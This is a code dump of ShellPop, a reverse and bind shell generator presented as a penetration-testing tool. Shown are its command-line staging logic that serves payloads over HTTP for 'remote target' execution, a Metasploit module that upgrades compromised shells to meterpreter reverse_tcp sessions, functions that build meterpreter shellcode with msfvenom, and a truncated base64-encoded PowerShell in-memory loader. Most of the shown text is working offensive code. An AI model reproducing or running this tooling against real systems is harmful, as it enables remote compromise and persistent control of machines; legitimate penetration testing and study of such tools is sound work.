stagingarg.add_argument("--stager", type=str, help="Use staging for shells", required=False) 681 | # Http-staging options 682 | stagingarg.add_argument("--http-port", type=int, help="HTTP staging port to be used", required=False) 683 | 684 | # Powershell features 685 | powershell_arg = parser.add_argument_group("PowerShell options") 686 | powershell_arg.add_argument("--powershell-x86", action="store_true", help="Use powershell 32-bit executable.") 687 | powershell_arg.add_argument("--powershell-x64", action="store_true", help="Use powershell 64-bit executable.") 688 | powershell_arg.add_argument("--powershell-random-case", action="store_true", help="Use random-case in powershell \ 689 | payloads.") 690 | 691 | # Miscellaneous 692 | miscarg = parser.add_argument_group("Miscellaneous") 693 | 694 | # Send it to clipboard 695 | miscarg.add_argument("--clip", action="store_true", help="Copy payload to your clipboard automatically.", 696 | default=False, required=False) 697 | 698 | argcomplete.autocomplete(parser) # register it to auto-completion 699 | args = parser.parse_args() 700 | if args.list: 701 | write(header()) 702 | list_shells() 703 | exit(0) 704 | 705 | if args.payload is not None and len(args.payload) > 0: 706 | # Use the --payload argument to choose automatically the correct number. 707 | reverse_int = get_shell_number(args.payload, reverse_shells) 708 | bind_int = get_shell_number(args.payload, bind_shells) 709 | 710 | if reverse_int: 711 | args.reverse = True # this sets --reverse 712 | args.number = reverse_int # this sets --number 713 | elif bind_int: 714 | args.bind = True 715 | args.number = bind_int 716 | else: 717 | print(error("Error: Your --payload flag is invalid.")) 718 | exit(1) 719 | 720 | if type(args.number) is not int: 721 | write(header()) 722 | print(error("Error: You need to select a shell using --number. To list shells use: --list")) 723 | print(error("For Help use: --help or -h options")) 724 | exit(1) 725 | 726 | if args.reverse is True and args.bind is True: 727 | write(header()) 728 | print(error("Error: You must select --reverse or --bind")) 729 | exit(1) 730 | 731 | if args.reverse is not True and args.bind is not True: 732 | write(header()) 733 | print(error("Error: You can't select both --reverse and --bind options.")) 734 | exit(1) 735 | 736 | if args.host in [str(x) for x in netifaces.interfaces()]: 737 | args.host = str(netifaces.ifaddresses(args.host)[2][0]["addr"]) # translate iface name to ipv4 738 | 739 | if args.xor is True: 740 | args.xor = randint(0, 255) 741 | else: 742 | args.xor = 0 # no Xor encoding! 743 | 744 | if args.reverse is True: 745 | if not check_shell_number(args.number, reverse=True): 746 | print(error("Error: Invalid reverse shell number.")) 747 | exit(1) 748 | if args.host is None: 749 | print(error("Error: You need to set the listener IP address with --host")) 750 | exit(1) 751 | if args.port is None: 752 | print(error("Error: You need to set the listener port number with --port")) 753 | exit(1) 754 | shell = select_shell(args, "reverse", args.number) 755 | if shell.handler is not None: 756 | shell.handler_args = (args, shell) 757 | else: 758 | if not check_shell_number(args.number, reverse=False): 759 | print(error("Invalid bind shell number.")) 760 | exit(1) 761 | if args.port is None: 762 | print(error("Error: You need to set the remote port number to listen with --port")) 763 | exit(1) 764 | shell = select_shell(args, "bind", args.number) 765 | if args.handler is not False: 766 | if args.host is None: 767 | args.host = raw_input("[\033[092m*\033[0m] Remote host IP address: ") 768 | shell.handler_args = (args, shell) 769 | 770 | # This is the spot for stagers. 771 | # First, we need to detect if the operator 772 | # wants it. 773 | stager = None # this is a local scope variable now. 774 | stager_thread = None 775 | stager_payload = None 776 | old_dir = os.getcwd() # initialize current working directory. 777 | 778 | if args.stager is not None: 779 | 780 | # He wants stager. 781 | if args.stager == "http": # He chose http stager. 782 | if shell.use_http_stager is False: 783 | print(info("This shell does not supports HTTP staging.")) 784 | else: 785 | # This is the HTTP stager code. 786 | # I will try to host a HTTP server in the following ports: 787 | ports = [80, 8080, 8081] 788 | ports.insert(0, args.http_port) if args.http_port is not None else None 789 | 790 | os.chdir("/tmp") # currently only linux. 791 | # /tmp because it is where we are going to host our payloads 792 | 793 | for port in ports: 794 | stager = HTTPServer(port) 795 | if stager.check_port() is True: 796 | # This check is needed because --xor for windows is only available with powershell. 797 | if args.xor != 0 and "powershell" in shell.name.lower(): 798 | # Windows Powershell XOR encoding will only work with Powershell HTTP staging. 799 | shell.use_http_stager = [(1, Powershell_HTTP_Stager)] 800 | 801 | # Choose the stager option 802 | if len(shell.use_http_stager) == 1: 803 | shell.use_http_stager = shell.use_http_stager[0][1] 804 | else: 805 | shell.use_http_stager = choose_stager(shell.use_http_stager) # choose a stager. 806 | if shell.use_http_stager is None: 807 | # Make sure there is a selected staging option. 808 | print(error("You have selected an invalid staging option.")) 809 | exit(1) 810 | stager_thread = Process(target=stager.start, args=()) 811 | stager_thread.start() 812 | print(info("Started HTTP server at port {0}".format(port))) 813 | 814 | payload_file = generate_file_name() 815 | with open(payload_file, "w") as f: 816 | f.write(shell.payload) 817 | print(info("Staged file has been named '{0}'".format(payload_file))) 818 | stager_payload = shell.use_http_stager((args.host, port), args, payload_file).get() 819 | break 820 | else: 821 | print(error("Cant use port {0} as HTTP server port.".format(port))) 822 | 823 | to_be_executed = shell.payload if stager is None else stager_payload 824 | 825 | if args.clip is True: 826 | pyperclip.copy(to_be_executed) 827 | print(info("ShellPop code has been copied to clipboard.")) 828 | 829 | print(info("Execute this code in remote target: \n\n{0}\n".format(to_be_executed))) 830 | 831 | if shell.handler is not None and args.handler is True: 832 | print(info("Starting shell handler ...")) 833 | try: 834 | shell.handler(shell.handler_args) 835 | except KeyboardInterrupt: 836 | print(info("Killing handler ...")) 837 | sys.exit() 838 | except IOError: 839 | print(info("Port Already used by another Program or Something Wrong...")) 840 | sys.exit() 841 | else: 842 | print(info("This shell DOES NOT have a handler set.")) 843 | 844 | # Handle staging. 845 | if stager is not None: 846 | print(info("Press CTRL+C to interrupt the HTTP stager ...")) 847 | try: 848 | while 1: 849 | sleep(10) 850 | except KeyboardInterrupt: 851 | print(info("Killing HTTP server ...")) 852 | stager_thread.terminate() 853 | os.chdir(old_dir) # restore working directory. 854 | return 0x0 855 | 856 | 857 | if __name__ == "__main__": 858 | main() 859 | -------------------------------------------------------------------------------- /extras/how-to-install-and-use.txt: -------------------------------------------------------------------------------- 1 | # How to install Shellpop shell_to_meterpreter module into metasploit-framework 2 | # Obviously, you will need to have metasploit framework 4 installed in the 3 | system. If you are smart then you're using Kali already and dont need to worry 4 | with that. 5 | 6 | root@kali# mkdir -p ~/.msf4/modules/post/shellpop 7 | root@kali# cp extras/shell_to_meterpreter ~/.msf4/modules/post/shellpop 8 | 9 | # Now boot metasploit-framework (msfconsole) and you will find the module in 10 | 11 | post/shellpop/shell_to_meterpreter 12 | 13 | # With a command shell open, you can CTRL+Z (background) the shell and do 14 | this procedure: 15 | 16 | use post/shellpop/shell_to_meterpreter 17 | set SESSION 1 18 | set IS_POWERSHELL true # if it is a powershell shell 19 | run 20 | # This should upgrade your shell to meterpreter. 21 | 22 | # FAQ: 23 | # 1. Why dont you use default module shell_to_meterpreter? 24 | # 1A: It has some trouble into detecting PowerShell in some Windows Machines. 25 | I find that very annoying. So it was far more easier to just set a Boolean 26 | variable to skip PowerShell detection and just use it. 27 | -------------------------------------------------------------------------------- /extras/shell_to_meterpreter.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core/exploit/powershell' 7 | require 'msf/core/post/windows/powershell' 8 | 9 | class MetasploitModule < Msf::Post 10 | include Exploit::Powershell 11 | include Post::Windows::Powershell 12 | 13 | def initialize(info = {}) 14 | super(update_info(info, 15 | 'Name' => 'Shell to Meterpreter Upgrade', 16 | 'Description' => %q{ 17 | This module attempts to upgrade a command shell to meterpreter. The shell 18 | platform is automatically detected and the best version of meterpreter for 19 | the target is selected. Currently meterpreter/reverse_tcp is used on Windows 20 | and Linux, with 'python/meterpreter/reverse_tcp' used on all others. 21 | }, 22 | 'License' => MSF_LICENSE, 23 | 'Author' => ['Tom Sellers '], 24 | 'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ], 25 | 'SessionTypes' => [ 'shell' ] 26 | )) 27 | register_options( 28 | [ 29 | OptAddressLocal.new('LHOST', 30 | [false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]), 31 | OptInt.new('LPORT', 32 | [true, 'Port for payload to connect to.', 4433]), 33 | OptBool.new('HANDLER', 34 | [ true, 'Start an exploit/multi/handler to receive the connection', true]) 35 | ]) 36 | register_advanced_options([ 37 | OptBool.new("IS_POWERSHELL", 38 | [true, "Check this if it is a powershell shell", true]), 39 | OptInt.new('HANDLE_TIMEOUT', 40 | [true, 'How long to wait (in seconds) for the session to come back.', 30]), 41 | OptEnum.new('WIN_TRANSFER', 42 | [true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]), 43 | OptString.new('PAYLOAD_OVERRIDE', 44 | [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]), 45 | OptString.new('BOURNE_PATH', 46 | [false, 'Remote path to drop binary']), 47 | OptString.new('BOURNE_FILE', 48 | [false, 'Remote filename to use for dropped binary']) 49 | ]) 50 | deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') 51 | end 52 | 53 | # Run method for when run command is issued 54 | def run 55 | print_status("Upgrading session ID: #{datastore['SESSION']}") 56 | 57 | # Try hard to find a valid LHOST value in order to 58 | # make running 'sessions -u' as robust as possible. 59 | if datastore['LHOST'] 60 | lhost = datastore['LHOST'] 61 | elsif framework.datastore['LHOST'] 62 | lhost = framework.datastore['LHOST'] 63 | else 64 | lhost = session.tunnel_local.split(':')[0] 65 | if lhost == 'Local Pipe' 66 | print_error 'LHOST is "Local Pipe", please manually set the correct IP.' 67 | return 68 | end 69 | end 70 | 71 | # If nothing else works... 72 | lhost = Rex::Socket.source_address if lhost.blank? 73 | 74 | lport = datastore['LPORT'] 75 | 76 | # Handle platform specific variables and settings 77 | case session.platform 78 | when 'windows' 79 | platform = 'windows' 80 | payload_name = 'windows/meterpreter/reverse_tcp' 81 | lplat = [Msf::Platform::Windows] 82 | larch = [ARCH_X86] 83 | psh_arch = 'x86' 84 | vprint_status("Platform: Windows") 85 | when 'osx' 86 | platform = 'osx' 87 | payload_name = 'osx/x64/meterpreter/reverse_tcp' 88 | lplat = [Msf::Platform::OSX] 89 | larch = [ARCH_X64] 90 | vprint_status("Platform: OS X") 91 | when 'solaris' 92 | platform = 'python' 93 | payload_name = 'python/meterpreter/reverse_tcp' 94 | vprint_status("Platform: Solaris") 95 | else 96 | # Find the best fit, be specific with uname to avoid matching hostname or something else 97 | target_info = cmd_exec('uname -ms') 98 | if target_info =~ /linux/i && target_info =~ /86/ 99 | # Handle linux shells that were identified as 'unix' 100 | platform = 'linux' 101 | payload_name = 'linux/x86/meterpreter/reverse_tcp' 102 | lplat = [Msf::Platform::Linux] 103 | larch = [ARCH_X86] 104 | vprint_status("Platform: Linux") 105 | elsif target_info =~ /darwin/i 106 | platform = 'osx' 107 | payload_name = 'osx/x64/meterpreter/reverse_tcp' 108 | lplat = [Msf::Platform::OSX] 109 | larch = [ARCH_X64] 110 | vprint_status("Platform: OS X") 111 | elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/ 112 | # Generic fallback for OSX, Solaris, Linux/ARM 113 | platform = 'python' 114 | payload_name = 'python/meterpreter/reverse_tcp' 115 | vprint_status("Platform: Python [fallback]") 116 | end 117 | end 118 | payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] 119 | vprint_status("Upgrade payload: #{payload_name}") 120 | 121 | if platform.blank? 122 | print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") 123 | return nil 124 | end 125 | 126 | payload_data = generate_payload(lhost, lport, payload_name) 127 | if payload_data.blank? 128 | print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.") 129 | return nil 130 | end 131 | 132 | if datastore['HANDLER'] 133 | listener_job_id = create_multihandler(lhost, lport, payload_name) 134 | if listener_job_id.blank? 135 | print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") 136 | return nil 137 | end 138 | end 139 | 140 | case platform 141 | when 'windows' 142 | vprint_status("Session type: #{session.type}") 143 | if session.type == 'powershell' or datastore["IS_POWERSHELL"] == true 144 | vprint_status("Powershell flag has been set.") 145 | template_path = Rex::Powershell::Templates::TEMPLATE_DIR 146 | psh_payload = case datastore['Powershell::method'] 147 | when 'net' 148 | Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data) 149 | when 'reflection' 150 | Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data) 151 | when 'old' 152 | Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data) 153 | when 'msil' 154 | fail RuntimeError, 'MSIL Powershell method no longer exists' 155 | else 156 | fail RuntimeError, 'No Powershell method specified' 157 | end 158 | 159 | # prepend_sleep => 1 160 | psh_payload = 'Start-Sleep -s 1;' << psh_payload 161 | encoded_psh_payload = encode_script(psh_payload) 162 | cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true)) 163 | else # shell 164 | if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS') 165 | vprint_status("Transfer method: Powershell") 166 | psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } 167 | cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) 168 | else 169 | print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' 170 | vprint_status("Transfer method: VBS [fallback]") 171 | exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) 172 | aborted = transmit_payload(exe, platform) 173 | end 174 | end 175 | when 'python' 176 | vprint_status("Transfer method: Python") 177 | cmd_exec("echo \"#{payload_data}\" | python") 178 | else 179 | vprint_status("Transfer method: Bourne shell [fallback]") 180 | exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) 181 | aborted = transmit_payload(exe, platform) 182 | end 183 | 184 | if datastore['HANDLER'] 185 | vprint_status("Cleaning up handler") 186 | cleanup_handler(listener_job_id, aborted) 187 | end 188 | return nil 189 | end 190 | 191 | def transmit_payload(exe, platform) 192 | # 193 | # Generate the stager command array 194 | # 195 | linemax = 1700 196 | if (session.exploit_datastore['LineMax']) 197 | linemax = session.exploit_datastore['LineMax'].to_i 198 | end 199 | opts = { 200 | :linemax => linemax, 201 | #:nodelete => true # keep temp files (for debugging) 202 | } 203 | case platform 204 | when 'windows' 205 | opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64') 206 | cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) 207 | when 'osx' 208 | opts[:background] = true 209 | cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe) 210 | else 211 | opts[:background] = true 212 | opts[:temp] = datastore['BOURNE_PATH'] 213 | opts[:file] = datastore['BOURNE_FILE'] 214 | cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe) 215 | end 216 | 217 | cmds = cmdstager.generate(opts) 218 | if cmds.nil? || cmds.length < 1 219 | print_error('The command stager could not be generated.') 220 | raise ArgumentError 221 | end 222 | 223 | # 224 | # Calculate the total size 225 | # 226 | total_bytes = 0 227 | cmds.each { |cmd| total_bytes += cmd.length } 228 | 229 | vprint_status("Starting transfer...") 230 | begin 231 | # 232 | # Run the commands one at a time 233 | # 234 | sent = 0 235 | aborted = false 236 | cmds.each { |cmd| 237 | ret = cmd_exec(cmd) 238 | if !ret 239 | aborted = true 240 | else 241 | ret.strip! 242 | aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./ 243 | end 244 | if aborted 245 | print_error('Error: Unable to execute the following command: ' + cmd.inspect) 246 | print_error('Output: ' + ret.inspect) if ret && !ret.empty? 247 | break 248 | end 249 | 250 | sent += cmd.length 251 | 252 | progress(total_bytes, sent) 253 | } 254 | rescue ::Interrupt 255 | # TODO: cleanup partial uploads! 256 | aborted = true 257 | rescue => e 258 | print_error("Error: #{e}") 259 | aborted = true 260 | end 261 | 262 | return aborted 263 | end 264 | 265 | def cleanup_handler(listener_job_id, aborted) 266 | # Return if the job has already finished 267 | return nil if framework.jobs[listener_job_id].nil? 268 | framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) { 269 | if !aborted 270 | timer = 0 271 | vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back") 272 | while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT 273 | sleep(1) 274 | timer += 1 275 | end 276 | end 277 | print_status('Stopping exploit/multi/handler') 278 | framework.jobs.stop_job(listener_job_id) 279 | } 280 | end 281 | 282 | # 283 | # Show the progress of the upload 284 | # 285 | def progress(total, sent) 286 | done = (sent.to_f / total.to_f) * 100 287 | print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total]) 288 | end 289 | 290 | # Method for checking if a listener for a given IP and port is present 291 | # will return true if a conflict exists and false if none is found 292 | def check_for_listener(lhost, lport) 293 | client.framework.jobs.each do |k, j| 294 | if j.name =~ / multi\/handler/ 295 | current_id = j.jid 296 | current_lhost = j.ctx[0].datastore['LHOST'] 297 | current_lport = j.ctx[0].datastore['LPORT'] 298 | if lhost == current_lhost && lport == current_lport.to_i 299 | print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") 300 | return true 301 | end 302 | end 303 | end 304 | return false 305 | end 306 | 307 | # Starts a exploit/multi/handler session 308 | def create_multihandler(lhost, lport, payload_name) 309 | pay = client.framework.payloads.create(payload_name) 310 | pay.datastore['LHOST'] = lhost 311 | pay.datastore['LPORT'] = lport 312 | print_status('Starting exploit/multi/handler') 313 | if !check_for_listener(lhost, lport) 314 | # Set options for module 315 | mh = client.framework.exploits.create('multi/handler') 316 | mh.share_datastore(pay.datastore) 317 | mh.datastore['WORKSPACE'] = client.workspace 318 | mh.datastore['PAYLOAD'] = payload_name 319 | mh.datastore['EXITFUNC'] = 'thread' 320 | mh.datastore['ExitOnSession'] = true 321 | # Validate module options 322 | mh.options.validate(mh.datastore) 323 | # Execute showing output 324 | mh.exploit_simple( 325 | 'Payload' => mh.datastore['PAYLOAD'], 326 | 'LocalInput' => self.user_input, 327 | 'LocalOutput' => self.user_output, 328 | 'RunAsJob' => true 329 | ) 330 | 331 | # Check to make sure that the handler is actually valid 332 | # If another process has the port open, then the handler will fail 333 | # but it takes a few seconds to do so. The module needs to give 334 | # the handler time to fail or the resulting connections from the 335 | # target could end up on on a different handler with the wrong payload 336 | # or dropped entirely. 337 | select(nil, nil, nil, 5) 338 | return nil if framework.jobs[mh.job_id.to_s].nil? 339 | 340 | return mh.job_id.to_s 341 | else 342 | print_error('A job is listening on the same local port') 343 | return nil 344 | end 345 | end 346 | 347 | def generate_payload(lhost, lport, payload_name) 348 | payload = framework.payloads.create(payload_name) 349 | options = "LHOST=#{lhost} LPORT=#{lport}" 350 | buf = payload.generate_simple('OptionStr' => options) 351 | buf 352 | end 353 | end 354 | -------------------------------------------------------------------------------- /img/handler-meterpreter.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/handler-meterpreter.gif -------------------------------------------------------------------------------- /img/handler.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/handler.gif -------------------------------------------------------------------------------- /img/img-ipfuscation-example.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-ipfuscation-example.JPG -------------------------------------------------------------------------------- /img/img-random-variables.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-random-variables.JPG -------------------------------------------------------------------------------- /img/img-shell-autocomplete.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-autocomplete.JPG -------------------------------------------------------------------------------- /img/img-shell-example-01.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-01.JPG -------------------------------------------------------------------------------- /img/img-shell-example-02.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-02.JPG -------------------------------------------------------------------------------- /img/img-shell-example-03.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-03.JPG -------------------------------------------------------------------------------- /img/img-shell-example-04.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-04.JPG -------------------------------------------------------------------------------- /img/img-shell-example-05.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-05.JPG -------------------------------------------------------------------------------- /img/img-shell-example-06.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-06.JPG -------------------------------------------------------------------------------- /img/img-shell-example-07.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-07.JPG -------------------------------------------------------------------------------- /img/img-shell-example-08.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-08.JPG -------------------------------------------------------------------------------- /img/img-shell-example-09.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-example-09.JPG -------------------------------------------------------------------------------- /img/img-shell-help.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-help.JPG -------------------------------------------------------------------------------- /img/img-shell-list.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-shell-list.JPG -------------------------------------------------------------------------------- /img/img-small-obfuscation.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/img-small-obfuscation.JPG -------------------------------------------------------------------------------- /img/stager.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00-0x00/ShellPop/a145349f8fc3c3fba6e873bf54c5aeaf1614f84a/img/stager.gif -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyperclip 2 | netifaces 3 | argcomplete -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup 2 | from setuptools.command.install import install 3 | from subprocess import Popen, PIPE 4 | import os 5 | 6 | def applyChanges(): 7 | proc = Popen("source ~/.bashrc", stdout=PIPE, stderr=PIPE, shell=True) 8 | _, _ = proc.communicate() 9 | return None 10 | 11 | def activateTabComplete(): 12 | proc = Popen("activate-global-python-argcomplete", stdout=PIPE, stderr=PIPE, shell=True) 13 | _, _ = proc.communicate() 14 | return True if proc.poll() is 0 else False 15 | 16 | def autoComplete(): 17 | """ 18 | Get the content required to register Shellpop into tab auto-completion 19 | @zc00l 20 | """ 21 | proc = Popen("register-python-argcomplete shellpop", stdout=PIPE, stderr=PIPE, shell=True) 22 | stdout, _ = proc.communicate() 23 | return stdout 24 | 25 | class CustomInstall(install): 26 | def run(self): 27 | install.run(self) 28 | bashrc_file = os.environ["HOME"] + os.sep + ".bashrc" 29 | if not os.path.exists(bashrc_file): 30 | return None 31 | with open(bashrc_file, "r") as f: 32 | bashrc_content = f.read() 33 | if "shellpop" not in bashrc_content: 34 | print("Registering shellpop in .bashrc for auto-completion ...") 35 | activateTabComplete() # this will enable auto-complete feature. 36 | 37 | # This will write the configuration needed in .bashrc file 38 | with open(bashrc_file, "a") as f: 39 | f.write("\n{0}\n".format(autoComplete())) 40 | print("Auto-completion has been installed.") 41 | applyChanges() 42 | 43 | setup(name='shellpop', 44 | version='0.3.5', 45 | description='Bind and Reverse shell code generator to aid Penetration Tester in their work.', 46 | url='https://github.com/0x00-0x00/ShellPop.git', 47 | author='zc00l, lowfuel, touhidshaikh', 48 | author_email='andre.marques@fatec.sp.gov.br', 49 | license='MIT', 50 | packages=['shellpop'], 51 | package_dir={"shellpop": "src"}, 52 | package_data={ 53 | "shellpop": ["src/*"], 54 | }, 55 | 56 | # No data files yet. 57 | #data_files=[ 58 | # ('shellpop', ['src/agent_list.json']), 59 | #], 60 | 61 | scripts=["bin/shellpop"], 62 | zip_safe=False, 63 | cmdclass={'install':CustomInstall}) 64 | -------------------------------------------------------------------------------- /src/__init__.py: -------------------------------------------------------------------------------- 1 | from bind import * 2 | from reverse import * 3 | from encoders import * 4 | from obfuscators import * 5 | from classes import * 6 | from handlers import * 7 | from stagers import * 8 | from binary import * 9 | -------------------------------------------------------------------------------- /src/binary.py: -------------------------------------------------------------------------------- 1 | from subprocess import Popen, PIPE 2 | from binascii import hexlify 3 | 4 | 5 | def shellcode_to_hex(msf_payload, host, port): 6 | """ 7 | Function to generate a common, encoded meterpreter shellcode 8 | and return it as a hex string as binascii.hexlify does. 9 | @zc00l 10 | """ 11 | proc = Popen("msfvenom -p {0} LHOST={1} LPORT={2} EXITFUNC=thread -f raw -b '\\x00\\x20\\x0d\\x0a'".format( 12 | msf_payload, host, port), shell=True, stdout=PIPE, stderr=PIPE 13 | ) 14 | stdout, _ = proc.communicate() 15 | return hexlify(stdout) 16 | 17 | 18 | def shellcode_to_ps1(msf_payload, host, port): 19 | """ 20 | Function to generate a common meterpreter 21 | shellcode and return it already converted 22 | into a powershell array. 23 | @zc00l 24 | """ 25 | f = open("/dev/null", "w") 26 | proc = Popen("msfvenom -p {0} LHOST={1} LPORT={2} EXITFUNC=thread -f raw -b '\\x00\\x20\\x0d\\x0a'".format(msf_payload,host,port), 27 | shell=True, stdout=PIPE, stderr=f) 28 | stdout, _ = proc.communicate() 29 | f.close() 30 | return "@(" + ", ".join([hex(ord(x)) for x in stdout]) + ")" 31 | 32 | 33 | def binary_to_bat(base64_data, file="file"): 34 | """ 35 | Get a huge base64, split it into chunks. 36 | With many chunks, we can re-create it using echo command 37 | I cant give it all because cmd.exe limits string size into command-line. 38 | @zc00l 39 | """ 40 | bat_content = "@echo off\n" 41 | 42 | count = 0 # how many bytes we have processed. 43 | max_chars = 128 # How many bytes of data an echo command will insert into a file. 44 | line = str() # This is going represent a single line that is going to be processed in loop. 45 | 46 | # This loop will populate line and then dump the formatted command to bat_content. 47 | for char in list(base64_data): 48 | line += char 49 | count += 1 50 | if (count % max_chars) == 0: 51 | if count == max_chars: 52 | bat_content += "echo " + line + " >{0}\n".format(file) 53 | else: 54 | bat_content += "echo " + line + " >>{0}\n".format(file) 55 | line = str() 56 | 57 | if len(line) > 0: 58 | bat_content += "echo " + line + " >>{0}".format(file) # the remaining. 59 | 60 | return bat_content 61 | 62 | 63 | # This is where we store our binary payloads. 64 | WINDOWS_BLOODSEEKER_SCRIPT = """"ZnVuY3Rpb24gTG9jYWw6R2V0LURlbGVnYXRlVHlwZQogICAgewogICAgICAgIFBhcmFtCiAgICAgICAgKAogICAgICAgICAgICBbT3V0cHV0VHlwZShbVHlwZV0pXQogICAgICAgICAgICAKICAgICAgICAgICAgW1BhcmFtZXRlciggUG9zaXRpb24gPSAwKV0KICAgICAgICAgICAgW1R5cGVbXV0KICAgICAgICAgICAgJFBhcmFtZXRlcnMgPSAoTmV3LU9iamVjdCBUeXBlW10oMCkpLAogICAgICAgICAgICAKICAgICAgICAgICAgW1BhcmFtZXRlciggUG9zaXRpb24gPSAxICldCiAgICAgICAgICAgIFtUeXBlXQogICAgICAgICAgICAkUmV0dXJuVHlwZSA9IFtWb2lkXQogICAgICAgICkKCiAgICAgICAgJERvbWFpbiA9IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluCiAgICAgICAgJER5bkFzc2VtYmx5ID0gTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoJ1JlZmxlY3RlZERlbGVnYXRlJykKICAgICAgICAkQXNzZW1ibHlCdWlsZGVyID0gJERvbWFpbi5EZWZpbmVEeW5hbWljQXNzZW1ibHkoJER5bkFzc2VtYmx5LCBbU3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5Bc3NlbWJseUJ1aWxkZXJBY2Nlc3NdOjpSdW4pCiAgICAgICAgJE1vZHVsZUJ1aWxkZXIgPSAkQXNzZW1ibHlCdWlsZGVyLkRlZmluZUR5bmFtaWNNb2R1bGUoJ0luTWVtb3J5TW9kdWxlJywgJGZhbHNlKQogICAgICAgICRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ015RGVsZWdhdGVUeXBlJywgJ0NsYXNzLCBQdWJsaWMsIFNlYWxlZCwgQW5zaUNsYXNzLCBBdXRvQ2xhc3MnLCBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXSkKICAgICAgICAkQ29uc3RydWN0b3JCdWlsZGVyID0gJFR5cGVCdWlsZGVyLkRlZmluZUNvbnN0cnVjdG9yKCdSVF